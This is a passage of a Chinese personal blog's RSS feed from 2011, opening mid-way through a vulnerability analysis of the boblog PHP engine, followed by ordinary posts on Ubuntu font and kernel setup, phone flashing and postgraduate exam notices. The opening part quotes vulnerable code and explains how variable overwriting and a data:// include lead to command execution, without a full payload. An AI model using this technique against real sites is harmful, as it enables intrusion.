        $tmp_rewritedURL=preg_replace($rule, '&lt;'.$RedirectTo[$i].'&lt;', $rewritedURL, 1);
    
 
    
        $tmp_rewritedURL=@explode('&lt;', $tmp_rewritedURL);
    
 
    
        $rewritedURL=($tmp_rewritedURL[2]) ? false : $tmp_rewritedURL[1];
    
 
    
        break;
    
 
    
    }
    
 
    
    $i+=1;
    
 
    
}
    
 
    
 
    
 
    
if ($rewritedURL==$rawURL || !$rewritedURL) {
    
 
    
...
    
 
    
$parsedURL=parse_url ($rewritedURL);
    
 
    
// 这里的$parsedURL['query']就是要利用的变量了:)
    
 
    
parse_str($parsedURL['query']);
    
 
    
// 通过这个地方可以覆盖任意变量
    
 
    
include(basename($parsedURL['path']));
    
 
    
// 通过上面的覆盖,可以利用这里包含本地文件,不过用了basename()函数处理:(
    
 
    
 
    
 
    
这个漏洞不是很复杂,关键说说利用,这里有两个利用点,一个覆盖,一个利用覆盖来包含,虽然用了basename()来限制,但是可以利用data://来执行命令.只是这种方式的利用是有限制的[PHP&gt;5.2.0&amp;allow_url_include=On].不过没关系,还有更好的利用方式
    
 
    
 
    
 
    
来看下global.php文件:
    
 
    
...
    
 
    
unregister_GLOBALS(); //When register_globals=On
    
 
    
...
    
 
    
function unregister_GLOBALS() { //When register_globals = 'on'
    
 
    
    if (!ini_get('register_globals')) { //Already off
    
 
    
        return;
    
 
    
    }
    
 
    
    // Variables that shouldn't be unset
    
 
    
    $noUnset = array('_GET', '_POST',  '_COOKIE',  '_REQUEST', '_SERVER',  '_ENV',  '_FILES');
    
 
    
    $input = array_merge($_GET,  $_POST,    $_COOKIE, $_SERVER, $_ENV,  $_FILES,    isset($_SESSION) &amp;&amp; is_array($_SESSION) ? $_SESSION : array());
    
 
    
    foreach ($input as $k =&gt; $v) {
    
 
    
        if ($k=='GLOBALS') {
    
 
    
            global $kgr;
    
 
    
            $kgr=0;
    
 
    
            kill_GLOBALS($input[$k]); //GLOBALS is recursive -,-
    
 
    
        }
    
 
    
        elseif (!in_array($k, $noUnset) &amp;&amp; isset($GLOBALS[$k])) {
    
 
    
            $GLOBALS[$k]=NULL;
    
 
    
        }
    
 
    
    }
    
 
    
}</pre><br />
</div>
<div>&nbsp;</div>
<div><br />
</div>
<div>在这里取消了全局变量,但是我们可以通过go.php中的覆盖变量和包含文件来绕过unregister_GLOBALS()的限制,触发变量未初始化漏洞,这将导致xss、sql注射、命令执行等众多严重的安全问题:)</div>
<div><br />
</div>
<div>&nbsp;</div>
<div><br />
</div>
<div>其实这里还有其他的利用思路,就不多说了,各位看官发挥自己的想象力吧:)</div>
<div><br />
</div>
<div>&nbsp;</div>
<div>&nbsp;</div>
<div>&nbsp;</div>
<div>&nbsp;</div><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/PWbug">最新phpwind漏洞利用程序</a></p><p><a href="http://www.holmesian.org/FlashBug">Flash浏览器插件版本检测自动更新程序</a></p><p><a href="http://www.holmesian.org/phpwind_0Day">phpwind 7.5最新0Day漏洞利用</a></p><p><a href="http://www.holmesian.org/PHP_IPF_SYSLOG">总结几个这几天解决的问题（与PHP、IPF、日志轮转相关）</a></p><p><a href="http://www.holmesian.org/IE0Day">最新Vista下的IE 0Day漏洞</a></p><p><a href="http://www.holmesian.org/OfficeBug3">Office 2003 sp2 溢出漏洞利用程序</a></p></div>]]></description>
	<pubDate>Mon, 28 Feb 2011 05:54:38 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/boblog-bugs</guid>

</item>
<item>
	<title>彻底解决Ubuntu看Pdf乱码的问题</title>
	<link>http://www.holmesian.org/ubuntu-pdf</link>
	<description><![CDATA[<p><span class="Apple-style-span" style="color:#333333;font-family:Arial;"><span class="Apple-style-span" style="line-height:20px;-webkit-border-horizontal-spacing:2px;-webkit-border-vertical-spacing:2px;"> </span></span></p>
<div><span class="Apple-style-span" style="color:#333333;font-family:Arial;">先安装poppler-data</span></div>
<span class="Apple-style-span" style="color:#333333;font-family:Arial;"> <div>sudo apt-get install poppler-data</div>
<div>&nbsp;</div>
<div>再编辑 /etc/fonts/conf.d/49-sansserif.conf，将倒数第四行的字体改为汉字的字体，如下我改成了monospace</div>
<div>&nbsp;</div>
<div>

<p>&nbsp;<pre class="brush:xml; toolbar: true; auto-links: true;">&lt;?xml version="1.0"?&gt;
&lt;!DOCTYPE fontconfig SYSTEM "fonts.dtd"&gt;
&lt;fontconfig&gt;
&lt;!--
  If the font still has no generic name, add sans-serif
 --&gt;
    &lt;match target="pattern"&gt;
        &lt;test qual="all" name="family" compare="not_eq"&gt;
            &lt;string&gt;sans-serif&lt;/string&gt;
        &lt;/test&gt;
        &lt;test qual="all" name="family" compare="not_eq"&gt;
            &lt;string&gt;serif&lt;/string&gt;
        &lt;/test&gt;
        &lt;test qual="all" name="family" compare="not_eq"&gt;
            &lt;string&gt;monospace&lt;/string&gt;
        &lt;/test&gt;
        &lt;edit name="family" mode="append_last"&gt;
            &lt;string&gt;monospace&lt;/string&gt;
        &lt;/edit&gt;
    &lt;/match&gt;
&lt;/fontconfig&gt;</pre></p>
</div>
</span><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/ubuntu-desktop-3d">终于解决ubuntu的3D桌面问题</a></p><p><a href="http://www.holmesian.org/fix-cdrom">光驱驱动问题的解决办法</a></p><p><a href="http://www.holmesian.org/ubuntu-toupad">Ubuntu自制控制触摸板开关的快捷键</a></p><p><a href="http://www.holmesian.org/vista">Windows Vista图标左上角有个可以打勾的小框的作用</a></p><p><a href="http://www.holmesian.org/E680Phone">将EXCEL格式的电话簿导入E680g的方法</a></p><p><a href="http://www.holmesian.org/ubuntu-service">ubuntu服务介绍</a></p></div>]]></description>
	<pubDate>Mon, 28 Feb 2011 04:28:38 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/ubuntu-pdf</guid>

</item>
<item>
	<title>Ubuntu 10.10 U盘安装与编译内核</title>
	<link>http://www.holmesian.org/Ubuntu-10-10-install-kernel</link>
	<description><![CDATA[<p>&nbsp;&nbsp; &nbsp; &nbsp;因为寒假的时候不小心误用fsck -f 强行扫描修复了已挂载的ext4分区，导致我的1000HE上原来的Ubuntu 10.04不可用，所以花了点精力重装Ubuntu 10.10 netbook版本，不得不说Ubuntu 10.10实在是各种反人类：尤其是官方的ISO光盘镜像不能够像以前版本那样直接用UltraISO烧录到U盘中用于光盘启动，直接烧录镜像的U盘会在启动时黑屏，原因是启动脚本发生了改变，不支持原来的启动方式。这让没有光驱的EPC系列机器情何以堪&hellip;&hellip;解决方法是修改做成后的启动盘中/syslinux的syslinux.cfg文件，注释掉一个调用：</p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>在syslinux/syslinux.cfg</span></span></li>
    <li><span>将</span></li>
    <li class="alt"><span>default&nbsp;vesamenu.c32</span></li>
    <li><span>改为</span></li>
    <li class="alt"><span><span class="comment">#&nbsp;default&nbsp;vesamenu.c32</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
修改syslinux/syslinux.cfg
将
default vesamenu.c32
改为
# default vesamenu.c32</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>&nbsp;&nbsp; &nbsp; 用修改后的启动盘启动不能直接进入引导菜单，但这个时候已经可以用GRUB Command Line了，在命令行输入以载入镜像</p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>boot:&nbsp;/casper/vmlinuz&nbsp;file=/cdrom/pressed/ubuntu.seed&nbsp;boot=casper&nbsp;only-ubiquity&nbsp;initrd=/casper/initrd.lz&nbsp;quiet</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
boot: /casper/vmlinuz file=/cdrom/pressed/ubuntu.seed boot=casper only-ubiquity initrd=/casper/initrd.lz quiet</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>再运行</p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>install</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
install</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>就可以进入正常的Ubuntu 10.10安装界面了，安装界面中的最后一步填写用户名的地方，用户名首字母不能为大写，否则安装无法继续并且无任何出错提示（这个相当狗血）</p>
<p></p>
<p>&nbsp;&nbsp; &nbsp; &nbsp;安装好Ubuntu 10.10再进行基本调教之后，来说说编译内核：Ubuntu继承自Debian，可以用Debian编译内核的方法，当然也有自己一套的内核编译流程，这里就用Ubuntu推荐的方法编译自己需要的内核。</p>
<p>首先是下载需要的源码包，新建一个干净的目录并转到/kernel</p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>sudo&nbsp;apt-get&nbsp;update</span></span></li>
    <li><span>sudo&nbsp;apt-get&nbsp;source&nbsp;linux-source-<span class="number">2.6</span><span>.</span><span class="number">35</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
sudo apt-get update
sudo apt-get source linux-source-2.6.35</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>#安装编译需要的工具软件</span></span></li>
    <li><span>sudo&nbsp;apt-get&nbsp;install&nbsp;build-essential&nbsp;kernel-package&nbsp;libncurses5-dev&nbsp;fakeroot</span></li>
    <li class="alt">&nbsp;</li>
    <li><span>#如果使用make&nbsp;xconfig修改配置就需要安装如下组件</span></li>
    <li class="alt"><span>sudo&nbsp;&nbsp;apt-get&nbsp;&nbsp;install&nbsp;libqt3-headers&nbsp;libqt3-mt-dev&nbsp;libqt3-compat-headers&nbsp;&nbsp;libqt3-mt</span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
安装编译需要的工具软件
sudo apt-get install build-essential kernel-package libncurses5-dev fakeroot

如果使用make xconfig修改配置就需要安装如下组件
sudo  apt-get  install libqt3-headers libqt3-mt-dev libqt3-compat-headers  libqt3-mt</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>&nbsp;</p>
<p>拷贝一个当前使用内核的配置文件到源码目录下</p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>sudo cp&nbsp;/boot/config-`uname&nbsp;-r`&nbsp;./.config</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
cp /boot/config-`uname -r` ./.config</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>&nbsp;</p>
<p>自动精简内核，这是2.6以来的新内核可以用到的一个新功能，可以自动精简很大一部分跟驱动有关的项目。（建议在运行这项的时候将可能用到的设备都插到计算机上让系统识别）</p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>make&nbsp;localmodconfig</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
make localmodconfig</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>&nbsp;&nbsp; &nbsp; &nbsp;自动精简内核完成之后就该自己上场对内核进行相应精简的，因为每个人对内核的要求都不太相同，所以这里也每必要给出所谓的最佳配置文件。不过鉴于有些选项实在晦涩难懂且很难搜索到相应的解释，这里推荐各位TX一本不错的内核编译选项手册，绝大部分的配置选项都能够在上面找到。</p>
<p>[sfile][/sfile]</p>
<p>&nbsp;&nbsp; &nbsp; &nbsp;对于EPC 1000HE系列（以及笔记本）来说，内核中的ASUS支持和EPC支持的三个选项应该选上以原生支持快捷热键，值得一提的是现在绝大多数的机器用的是SATA硬盘，所以在内核选项中一定要选上SCSI device support 和SCSI disk support两项，而且不能以M（模块）编译进内核，否则会无法进入系统。&ldquo; Timer frequency &rdquo;最好选择1000Hz以提高gui响应&hellip;&hellip;</p>
<p>&nbsp;</p>
<p>&nbsp;&nbsp; &nbsp; 配置文件编辑完毕之后最好在上层目录保存一份以防被自己不小心误删，接下来就是编译的过程了。编译之前需要注意控制目录的权限必须为755，所以控制目录不能在vfat和ntfs分区下，否则会在编译打包的最后一部报错。编译使用的是make-kpkg工具：</p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>sudo&nbsp;make-kpkg&nbsp;--initrd&nbsp;--append-to-version=</span><span class="number">1000he</span><span>&nbsp;kernel_image</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
sudo make-kpkg --initrd --append-to-version=1000he kernel_image</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>
<meta http-equiv="content-type" content="text/html; charset=utf-8"><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; border-width: initial; border-color: initial; border-width: initial; border-color: initial; border-width: initial; border-color: initial; border-width: initial; border-color: initial; border-width: initial; border-color: initial; border-width: initial; border-color: initial; border-width: initial; border-color: initial; ">附加版本信息内核可以改成自己想要的--append-to-version=</span><span class="number" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; color: black; background-color: inherit; border-width: initial; border-color: initial; border-width: initial; border-color: initial; border-width: initial; border-color: initial; border-width: initial; border-color: initial; border-width: initial; border-color: initial; border-width: initial; border-color: initial; border-width: initial; border-color: initial; ">1000he，主版本号在配置文件中修改</span></meta>
</p>
<p>&nbsp;&nbsp; &nbsp; 接下来是漫长的等待过程，根据机器的性能和环境以及配置文件不同编译时间从一个多小时到几个小时不等。在EPC下编译内核简直是一件很**的事情&hellip;&hellip;期间如果出现什么问题可以根据相应的错误提示去寻找原因，这里就假设编译顺利已经编译通过得到了一个类似linux-image-2.6.35.101000he_2.6.35.101000he-10.00.Custom_i386.deb的包，接下来通过安装包：</p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>sudo&nbsp;dpkg&nbsp;-i&nbsp;linux-image-</span><span class="number">2.6</span><span>.</span><span class="number">35.101000he_2</span><span>.</span><span class="number">6.35</span><span>.</span><span class="number">101000he</span><span>-</span><span class="number">10.00</span><span>.Custom_i386.deb</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
sudo dpkg -i linux-image-2.6.35.101000he_2.6.35.101000he-10.00.Custom_i386.deb</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>最后就是重新启动用新内核启动系统验证功能是否齐全了，怎么样简单吧？</p>
<p>&nbsp;</p>
<p>如果发现已经安装的新内核包出现问题不合适，可以在启动Grub中选择原来的内核进入系统，然后删除新内核推到来过</p>
<div class="HighLighter" contenteditable="false">
<div contenteditable="false" class="dp-highlighter">
<div class="bar">&nbsp;</div>
<ol start="1" class="dp-py">
    <li class="alt"><span><span>sudo&nbsp;dpkg&nbsp;-P&nbsp;linux-image-</span><span class="number">2.6</span><span>.</span><span class="number">35.101000he_2</span><span>.</span><span class="number">6.35</span><span>.</span><span class="number">101000he</span></span></li>
</ol>
</div>
<div contenteditable="false" class="python" style="display:none">
<pre>
sudo dpkg -P linux-image-2.6.35.101000he_2.6.35.101000he</pre>
</div>
<div contenteditable="false">
<link href="http://www.holmesian.org/editor/fckeditor/editor/plugins/highlighter/dp.SyntaxHighlighter/Styles/SyntaxHighlighter.css" type="text/css" rel="stylesheet" /></div>
</div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/ubuntu-desktop-3d">终于解决ubuntu的3D桌面问题</a></p><p><a href="http://www.holmesian.org/post/480">ubuntu的nessus工具</a></p><p><a href="http://www.holmesian.org/ubuntu-tips">Tips for Ubuntu</a></p><p><a href="http://www.holmesian.org/FireFox_FLash">搞定Ubuntu9.04+FireFox下FLash安装问题</a></p><p><a href="http://www.holmesian.org/Ubuntu-Pidgin">Ubuntu下禁用Pidgin烦人的好友在线状态提示</a></p><p><a href="http://www.holmesian.org/ubuntu-VirtualBox-upgrade">ubuntu升级后VirtualBox新问题</a></p></div>]]></description>
	<pubDate>Sat, 12 Feb 2011 08:03:55 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/Ubuntu-10-10-install-kernel</guid>

</item>
<item>
	<title>SGH-D988刷机教程</title>
	<link>http://www.holmesian.org/SGH-D988</link>
	<description><![CDATA[<p>&nbsp;又遇到了三星D9系列的手机，三星的这一类手机连JAVA程序都不能从本地直接安装，所有的软件必须通过手机网络(cmnet/cmwap)才能安装（尤其是恶心的移动定制心机），要从手机储存卡安装java软件可以通过使用ezjadcn将jar文件生成jad文件，再修改jad中的软件最大值，接着再从手机上执行jad文件安装（移动心机的无法安装）。</p>
<p></p>
<p>要让SGH-D988彻底支持从本地安装JAVA软件必须将手机刷机，关于SGH-D988的刷机要注意以下几点：</p>
<p><blockquote>
<p>1、<strong>D980本身带的数据线是不能刷机的，需要专用的刷机线，是和G608 D888的刷机线一样的。</strong>如果你有刷机线就肯定会带这条刷机线的驱动，所以驱动没有上传。</p>
<p>2、刷机时不用装电池，</p>
<p>3、打开刷机平台按照教程里面的图片设置一下，载入资料地址，然后按START,根据提示按一下手机电源，再点击一下DOWNLOAD,看见数据在动就等着吧。大约40分钟后提示：DOWNLOAD COMPLETED,就刷机结束了</p>
</blockquote></p>
<p>&nbsp;</p>
<p>jar生成jad程序</p>
<p>[sfile][/sfile]</p>
<p>SGH-D988刷机平台</p>
<p>[sfile][/sfile]</p>
<p>SGH-D988刷机驱动</p>
<p>[sfile][/sfile]</p>
<p>SGH-D988刷机教程</p>
<p>[sfile][/sfile]</p><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/post/97">有关E680刷机</a></p><p><a href="http://www.holmesian.org/MOTOCrack">刷机包的选择</a></p></div>]]></description>
	<pubDate>Sat, 12 Feb 2011 05:56:41 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/SGH-D988</guid>

</item>
<item>
	<title>2011年硕士研究生招生考试注意事项</title>
	<link>http://www.holmesian.org/2011-kaoyan-notice</link>
	<description><![CDATA[<p>&nbsp;</p><p><b><span style="font-size: 14pt">一、考试座位号查询</span></b></p><p><span style="font-size: 14pt">考生凭《准考证》上的考生编号或身份证号码，登录南昌市招考办网站</span><span style="font-size: 14pt">www.gzb.ncedu.gov.cn</span><span style="font-size: 14pt">，查询自己的座位号，核对自己的统考科目、应试语种，然后<b><font color="#ff0000">将考试地点和座位号填写在《准考证》上</font></b>，注意千万不能填错。</span></p><div>&nbsp;</div><div style="text-indent: 28.1pt; line-height: 22pt"><b><span style="font-size: 14pt">二、考生注意事项</span></b></div><div style="text-indent: 28pt; line-height: 22pt"><span style="font-size: 14pt">1</span><span style="font-size: 14pt">、考生凭准考证、有效身份证件（居民身份证、&ldquo;军官证&rdquo;、&ldquo;文职干部证&rdquo;、&ldquo;军校学员证&rdquo;）进入考场。如遗失准考证的可自行登录研招网重新打印准考证（建议在打印准考证时多打印一张备用）。</span></div><div style="text-indent: 28pt; line-height: 22pt"><span style="font-size: 14pt">2</span><span style="font-size: 14pt">、严禁携带手机等通讯工具进入考点、考场，否则作违规处理。</span></div><div style="text-indent: 28pt; line-height: 22pt"><span style="font-size: 14pt">3</span><span style="font-size: 14pt">、考生考试期间原则上不能上厕所。</span></div><div style="text-indent: 28pt; line-height: 22pt"><span style="font-size: 14pt">4</span><span style="font-size: 14pt">、考生均须自带小刀一把、2B铅笔一支、橡皮擦和无字硬塑垫板各一块。</span></div><div style="text-indent: 28pt; line-height: 22pt"><span style="font-size: 14pt">5</span><span style="font-size: 14pt">、得到试卷后，请核对考试科目和试卷袋上的时间是否当天当场的试卷，无误，则在开考铃响后小心仔细地用小刀<b><font color="#ff0000">沿拆封线</font></b>拆封试卷袋、答题。</span></div><div style="text-indent: 28pt; line-height: 22pt"><span style="font-size: 14pt">6</span><span style="font-size: 14pt">、考试用的答题纸</span></div><div style="text-indent: 28.1pt; line-height: 22pt"><b><span style="font-size: 14pt"><font color="#ff0000">由教育部统一出题的统考思想政治理论、英语一、英语二、日语、俄语、数学一、数学二、数学三、西医综合、中医综合、教育学专业基础综合、心理学专业基础综合、历史学专业基础、数学（农）、化学（农）、管理类联考综合能力、计算机学科专业基础综合、植物生理学与生物化学、动物生理学与生物化学试题袋中均附有答题纸或答题卡，考生按试题要求答卷。</font></span></b></div><div style="text-indent: 28.1pt; line-height: 22pt"><b><span style="font-size: 14pt"><font color="#ff0000">由招生单位出题的业务科（含二外）答题，统一使用省考试院按教育部规定印制的答题纸</font></span></b><span style="font-size: 14pt">。如招生单位在试卷中带有答题纸的，由考生自己选择答题纸，考试结束后，两份答题纸全部装进原试卷袋内。</span></div><div style="text-indent: 28.1pt; line-height: 22pt"><b><span style="font-size: 14pt"><font color="#ff0000">考生应在答题纸上答题，在草稿纸上答题无效</font>。</span></b></div><div style="text-indent: 28pt; line-height: 22pt"><span style="font-size: 14pt">7</span><span style="font-size: 14pt">、考试结束后，请把试题和答题纸（含答题卡）一起装进原试卷袋内，用试卷袋内或监考员发给的密封条从拆封口的正面贴好后，绕过拆口，封贴至反面，然后在密封条的正反两面骑缝线上分别签上自己的骑缝姓名</span></div><div style="text-indent: 28pt; line-height: 22pt"><span style="font-size: 14pt">8</span><span style="font-size: 14pt">、试卷上的&ldquo;考生编号&rdquo;要<b><font color="#ff0000">填写招生院校编定的考生编号</font></b>，切勿填写我办编定的座位号。</span></div><div style="text-indent: 28pt; line-height: 22pt"><span style="font-size: 14pt">9</span><span style="font-size: 14pt">、部分用答题卡答题的试卷，考生答题时，严格按照答题卡的要求进行填涂，考试结束后按要求与主观题答卷一起装入原试题袋中。答题卡必须平整、干净、不得折叠。</span></div><div style="text-indent: 28pt; line-height: 22pt"><span style="font-size: 14pt">10</span><span style="font-size: 14pt">、按教育部规定&ldquo;农学门类联考化学科目考试需使用不带字典存储和编程功能、具有对数及幂指数计算功能的科学计算器，其他统考及联考科目考试中不允许使用计算器&rdquo;。自命题科目根据招生单位在准考证上的注明而携带无存储和编程功能电子计算器。</span></div><div style="text-indent: 28pt; line-height: 22pt"><span style="font-size: 14pt">11</span><span style="font-size: 14pt">、2011年1月14日下午4：30时&mdash;5时为开放考场时间，届时请考生前往考点了解考试中的各项要求，察看自己的座位。 </span></div><div style="margin: 0cm 0cm 0pt 251.95pt; text-indent: -224pt; line-height: 22pt"><span style="font-size: 14pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="font-size: 14pt">南昌市招考办</span></div><div style="text-indent: 28pt; line-height: 22pt"><span style="font-size: 14pt">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2011</span><span style="font-size: 14pt">年1月6日</span></div><div id="related_log" style="font-size:14px;line-height:24pt"><p><b>你可能还感兴趣：</b></p><p><a href="http://www.holmesian.org/2011-kaoyan-yingyuzuowen">2011年考研英语作文预测</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-jingjifazhan">2011年考研政治大题预测-转变经济发展</a></p><p><a href="http://www.holmesian.org/2010-today">相信自己的判断，别跟风</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-shijianrenshi">2011年考研政治大题预测-实践和认识</a></p><p><a href="http://www.holmesian.org/zhengzhi-kaoyan-muban">2011年考研政治大题、政经实用技巧</a></p><p><a href="http://www.holmesian.org/2011-kaoyan-duilitongyi">2011年考研政治大题预测-对立统一</a></p></div>]]></description>
	<pubDate>Mon, 10 Jan 2011 08:24:51 +0000</pubDate>
	<author>Holmesian</author>
	<guid>http://www.holmesian.org/2011-kaoyan-notice</guid>

</item>
<item>
	<title>2011年考研英语作文预测</title>
	<link>http://www.holmesian.org/2011-kaoyan-yingyuzuowen</link>
	<description><![CDATA[<p>留着看看会不会有中的&hellip;&hellip;</p>
<p>&nbsp;</p>
<p>&nbsp;<span class="Apple-style-span" style="font-family: 宋体; line-height: 23px; ">
<table cellspacing="1" cellpadding="1" width="300" align="center" bgcolor="#0066cc" border="0">
    <tbody>
        <tr bgcolor="#ffffff">
            <td colspan="7" height="28" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">
            <div align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><strong style="font-weight: bold; font-style: normal; ">2011年考研英语作文预测</strong></div>
            </td>
        </tr>
        <tr bgcolor="#ffffff">
            <td width="50%" height="28" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">
            <div align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><a target="_blank" href="http://www.cnedu.cn/news/7-8/2011-1-5-xi8878.shtml" style="text-decoration: none; color: rgb(56, 5, 162); ">2011年考研英语作文预测 弘扬民族文化</a></div>
            </td>
        </tr>
        <tr bgcolor="#ffffff">
            <td width="50%" height="28" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">
            <div align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">
            <div align="center" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; "><a target="_blank" href="http://www.cnedu.cn/news/7-8/2011-1-5-xi3031.shtml" style="text-decoration: none; color: rgb(56, 5, 162); ">2011年考研英语作文预测 科技与生活</a></div>
            </div>
            </td>
        </tr>
        <tr bgcolor="#ffffff">
            <td width="50%" height="28" style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; ">
